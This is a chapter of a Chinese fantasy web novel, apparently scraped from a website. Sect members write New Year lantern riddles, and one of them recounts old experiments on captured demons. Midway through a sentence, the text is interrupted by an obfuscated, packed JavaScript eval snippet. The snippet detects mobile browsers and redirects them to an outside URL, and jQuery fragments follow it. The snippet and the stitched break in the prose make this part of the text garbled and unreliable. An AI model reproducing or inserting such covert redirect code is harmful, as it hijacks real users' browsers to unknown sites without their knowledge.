“不行!”卢竹久和阮葵扇异口同声。
“我就盼着这一天呢,”阮葵扇攥着灯笼枝条,又一把搂在怀里,“以前都是我在赏灯之后收拾这些残骸,终于能轮到我赏灯了,可不能让灯谜坏了兴致。”
柳青骊苦着脸问:“那灯谜出什么?”
阮葵扇补充道:“反正,不能和我们日常事务牵扯起来,一年到尾,才休息这么几天……”
“行,绝不和灵泉相关。”柳青骊叹了口气,随后挠了挠后脑勺,再抓了抓头顶,“阿久,你有什么想法?”
卢竹久不假思索,说:“灯谜当然要有趣呀,猜一点好玩的、好笑的、好吃的……这样才有过年的氛围嘛。……啊?你们不喜欢这种吗?”
“你还是小孩子心性啊,”阮葵扇感叹道,“你前几年在赏灯时不出来玩,难道是觉得灯谜没意思?”
“年纪过了,领不到糖……是因为这个吧?”柳青骊的语气里也满是奚落。
“似狐又似猫,不在田不在山,却青青一片……不好吗?”卢竹久回忆起她印象最深的灯谜,“你们猜猜看……啊,你们想想看啊。”
“没有瓜,没有苗,就是‘猜’字嘛。”阮葵扇反应很快,“这个倒是真可以用。”
“我从别的地方学来的……”卢竹久垂着头小声嘟囔。
柳青骊催问她:“你不来点大家都喜欢的?”
卢竹久好不容易对编灯谜有点信心,一下子又茫然了。
阮葵扇解释说,灵泉宗的赏灯灯谜,都是写给意中人的。或直白,或晦涩,其他人怎么看无所谓,但意中人能心领神会最重要。
大家同游猜灯谜,猜对的人可以领根签子,但只有出题人指定的人可以去领一份礼。
柳青骊打了个哈欠。
他之前在赏灯日只愿闲逛,生怕蒙对那道题,出现了一个他不熟悉的人送礼和他套近乎。
当然,可能根本不会有这样的人。
不过柳青骊也没有答谜题,所以也不能说没有这种可能。
“我小时候不懂啊……”卢竹久刚说完前半句,柳青骊便很期待地看着她,盼着她和他自己是同类。
卢竹久想到易朗,一下子心动了。
她自顾自地害羞起来:“我也没有拿得出手的礼物啊。哎呀,葵葵阿姐,答对后领到签子,去哪儿换礼物啊?会不会有人提前知道啊……我……我就是问问。赏灯节,我多少年没参加,我得好好出灯谜,好好准备礼物,不能让葵葵阿姐失望啊。”
卢竹久看了一眼柳青骊,柳青骊尴尬地点点头。
他伸出手去拿灯笼纸:“我来帮忙。”
“不用,”阮葵扇一把摁住桌上的纸,“难得做灯笼,不要跟我抢。”
“那我……那你们忙赏灯,灵泉基金……别瞪我啊,你们不想年节时听到的词,我自己研究……”柳青骊眼神里有点委屈,“是你们不让我帮忙的,我还不能给你自己找点事情做啊?要是做灯笼需要人搭把手,来藏书阁找我吧,我去那边查点东西。”
灵泉宗内,有些冷清。
卢竹久穿过中心广场,她连洒扫弟子的身影都没见到,更别说平日往返奔波的其他同门。
她向藏书阁走去,自己的脚步声听得清清楚楚,好似破坏了年节的祥和,她轻轻抬腿,小心地走。
藏书阁的守卫正在门口坐着编灯笼架子,他猛一抬头,见到卢竹久蹑手蹑脚走来,差点从椅子上摔下来。
“来查灯谜呀,”守卫逢人都这么问,“往里走,最尽头,先来后到,不要抢啊。大过年的,和气要紧。”
卢竹久和他拜过年后,进藏书阁走了几步,朝里张望,然后转身到另一侧去。
柳青骊见她过来,敲了敲自己的桌子。
桌上有一册书,是柳青骊特地借过来的古国灯谜。
他是故意拿来的。他想着万一卢竹久和阮葵扇过来,在谜题区抢不到参考,会来找他抱怨,然后她们一眼看到桌上的书,肯定会谢谢他……
柳青骊便趁机抽走桌上的书,让她们俩聊一会儿灵泉再走。
他等了很久,终于有人上钩了。
卢竹久见到柳青骊伏案忙碌,她轻轻走过去,小声感叹:“今天人好多啊,不会吵到你吧?”
“是比平日吵闹许多,”柳青骊的手缓缓移动到灯谜册的边上,试图引起她的注意,“但大家各聊各的,互相干扰,吵到的也不是具体的谁。”
“那些人聊灯谜,”卢竹久的目光落在桌面上,“而你闷头读典籍,正需要安静。”
真不凑巧,柳青骊的胳膊正好挡上了灯谜册。
“葵葵阿姐说藏书阁这边容易想出来灯谜,”卢竹久环视四周,“我本以为能令我专注一点,但现在这样也好……听听别人的思路。”
“小心撞上了,没被选进去。”柳青骊提醒道。
卢竹久很是自信,她想得灯谜可都和易朗过去的救命之恩有关,一般人哪儿有这种经历。
她笑着摇头:“不会的,我倒是可以听一听别人的想法,排除一下。”
柳青骊刚想把手腕下的灯谜册给她,又立马收回手。
卢竹久已经拿起笔开始写灯谜,写了两行,又一笔勾掉。
柳青骊以为她会苦恼,可卢竹久头也不抬接着写,灵感源源不断。
他们这桌在藏书阁里显得过于安静。藏书阁里其他的人有时候停下来闲聊,专门看他们一眼。
难得的闲暇,总不会为了工作埋头苦读奋笔疾书吧?
莫不是他们是来偷听别人的灯谜的?
窃窃私语传到卢竹久的耳朵里,她只好和柳青骊闲聊几句。
然而边上的那桌人瞥见柳青骊的灯谜册,又打消了方才的念头。只能催促自己的同伴,看看别人,早就研究透了,提笔就能写。
卢竹久听出来其他人为灯谜苦恼,她把自己的稿子小心地吹一吹,翻过面扣在桌子上。
不能聊灯谜,就问问柳青骊可有进展。
柳青骊查了时雪寮有关的记载。时雪寮得对卢竹久灵泉基金里有问题的修为负责,他在找具体的条例。
调查进展嘛,微乎其微。他倒是发现了一些和卢家集有关的趣闻。
卢竹久对此很有兴致。
和卢家集有关,只是柳青骊的推测。他查到时雪寮初期为了衡量灵泉灵力,抓了很多小妖,观察他们受灵泉影响的变化,然后按
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15133082|155879||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
照他们的寿数当作灵力的度数。
“多是狐、狼、狗……”柳青骊往前翻着资料,“也有□□啊老鼠什么的,但时雪寮的人胆小,后来不用了。”
“可有树精?花精?听说镯子也能成精……”
柳青骊摇头。他说那些精怪灵力不稳,遇到波动容易灵识混乱,甚至魂飞魄散。
“哦。”卢竹久为过去的阿韭感到可怜。
柳青骊同她讲了很多时雪寮的养妖试验。卢竹久越听越害怕,柳青骊便直说很多养妖受不了,有的自尽,有的出逃。
“哦。”卢竹久没听出关键点。
柳青骊赶紧解释:“出逃的养妖很懂灵泉啊。有的会去做灵泉维护者,有的说不定去了卢家集倒卖法宝。”
“很懂灵泉……”卢竹久突然浮现了熟人的形象,“他们也买了我的灵泉基金吗?”
“我和你说这个,就是想问你呀,卢家集的这些散修会不会有这样的小妖混在其间呢?”
“但卢家集的大集早就有了。”卢竹久还是想着熟人,她似乎在大集出现之前,就住在卢家集来着,“大集和灵泉,到底哪个先有呢?”
卢雪藕,在大集之前就来了,还是灵泉基金流行之后才来的呢。
卢竹久拼命回忆,却想到易朗前往古国遗迹的几次。
他去卢家集外的山里,也不是每次都有大集啊。卢竹久记得他会从酒肆边上的铺子买点吃食。
一说吃食,卢竹久就想起卢雪藕熬粥熬汤,曾经很受村里人欢迎。
难道卢雪藕以前是早上出摊卖早点的姐姐?
卢竹久嘟着嘴,她在那些日子还没有化成人形,魂魄飘飘荡荡,看到的东西和梦到事物,不容易分辨。
不想了。
不管藕娘了。上次的碰杯不算顺利,但是已经下定决心,那么就忘掉阿韭和藕娘的过去吧。
卢竹久深吸一口气。
她有了灯谜的灵感。灯谜是写给易朗的,说前世的记忆,他不一定能感同身受,但是这十世他喜欢吃的东西、吃饭时的小癖好、闲逛时的小习惯……可都没有变。
这些与常人微妙的不同,若是被易朗猜对了。卢竹久想着她自己可以装作巧合,笑着和他说“没想到我们竟然一样”,然后……
总之,就这么写。
卢竹久美滋滋地把纸翻过来,接着写灯谜。
不知过了多久,藏书阁渐渐安静了。
柳青骊肚子咕咕叫,卢竹久依然忘我地书写。
她想着写到再需要磨墨的时候停下,结果写到胳膊疼,墨还是没耗完。
“没纸了?”阮葵扇问道。
“你什么时候来的?”卢竹久有些慌张,“到晚饭时候了?”
阮葵扇点点头,把手里的灯笼纸递给她:“我们能保三张……我看你写这么多,我再去求求看,多给你挂几个灯笼。”
“那可太谢谢葵葵阿姐了。”卢竹久看着稿纸,一时选不出来,“这就要正式写啊。”
“抓紧一点嘛,别当最后一个。”阮葵扇催着,“今年赏灯,还挺不一样的……我刚才遇到了易朗……”
卢竹久立马放下手中的东西,问道:“他怎么了?”